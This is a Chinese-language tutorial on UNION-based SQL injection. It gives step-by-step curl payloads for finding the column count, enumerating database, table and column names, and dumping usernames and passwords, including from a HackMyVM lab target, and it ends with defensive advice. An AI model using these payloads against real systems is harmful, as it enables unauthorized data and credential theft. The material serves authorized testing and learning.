UNION SQL 注入枚举
UNION SQL 注入适用于“后端把用户输入拼进查询,并把查询结果或错误回显到页面”的场景。它的目标不是盲猜数据,而是把攻击者构造的 UNION SELECT 结果拼到原查询结果里,从而读取数据库信息。
只在自有系统、授权测试或靶场环境中使用。真实业务测试应控制请求速率和数据读取范围。
判断条件
| 条件 | 说明 |
|---|---|
| 输入进入 SQL | 例如 /api/track/<id>、?id=1、?name=... |
| 有错误或结果回显 | 报错、字段内容、列表页都可以帮助判断 |
| 可控制查询结构 | 单引号、注释符、排序、UNION 能影响响应 |
| 原查询列数可推断 | UNION 两边列数必须一致 |
基础流程
1. 报错确认
curl -s "http://target/api/track/1'"
如果响应中出现 MariaDB、MySQL、PostgreSQL、SQLite 等数据库错误,说明后端可能直接拼接输入。
2. 判断列数
常用 ORDER BY:
curl -s "http://target/api/track/1 ORDER BY 3-- -"
curl -s "http://target/api/track/1 ORDER BY 4-- -"
如果 ORDER BY 3 正常、ORDER BY 4 报错,原查询结果通常是 3 列。
也可以用 UNION SELECT NULL 逐步测试:
curl -s "http://target/api/track/-1 UNION SELECT NULL,NULL,NULL-- -"
3. 枚举数据库信息
MySQL / MariaDB 常用:
curl -s "http://target/api/track/-1 UNION SELECT 1,@@version,3-- -"
curl -s "http://target/api/track/-1 UNION SELECT 1,user(),3-- -"
curl -s "http://target/api/track/-1 UNION SELECT 1,database(),3-- -"
4. 枚举表名
curl -s "http://target/api/track/-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -"
5. 枚举列名
curl -s "http://target/api/track/-1 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_schema=database() AND table_name='users'-- -"
6. 读取目标数据
curl -s "http://target/api/track/-1 UNION SELECT 1,GROUP_CONCAT(id,':',username,':',password SEPARATOR '||'),3 FROM users-- -"
URL 编码
如果空格、引号或 # 被代理、浏览器或服务器处理掉,可以 URL 编码:
| 字符 | 编码 |
|---|---|
| 空格 | %20 |
' | %27 |
# | %23 |
+ | %2b |
& | %26 |
示例:
curl -s 'http://target/api/track/-1%20UNION%20SELECT%201,database(),3--%20-'
Calc 案例
Calc 中,Track ID 被拼进 MariaDB 查询。流程是:
单引号报错 -> ORDER BY 判断 3 列 -> UNION 读取 database/user/version
-> information_schema 枚举表 -> 读取 webapp_users 和 system_config
关键读取:
curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,GROUP_CONCAT(id,':',username,':',password SEPARATOR '||'),3 FROM webapp_users-- -"
完整过程见:HackMyVM Calc 通关记录。
防坑点
- UNION 两边列数必须一致,列类型也可能影响回显。
- 注释符要适配数据库和后端拼接方式,MySQL 常见
-- -、#。 - 字符串位置不一定回显,先用数字或固定文本判断哪一列可见。
GROUP_CONCAT可能被长度限制,必要时分表、分列、分页读取。- 不要把生产数据全量拖出。授权测试中应最小化读取范围。
防御建议
- 使用参数化查询或 ORM 绑定参数,不拼接 SQL。
- 对错误回显做泛化处理,详细错误写服务端日志。
- 数据库账号最小权限,不给 Web 账号访问无关表。
- 敏感字段使用强哈希或密钥管理,不存明文密码。
- 对异常查询、错误频率和 UNION 关键词做日志监控。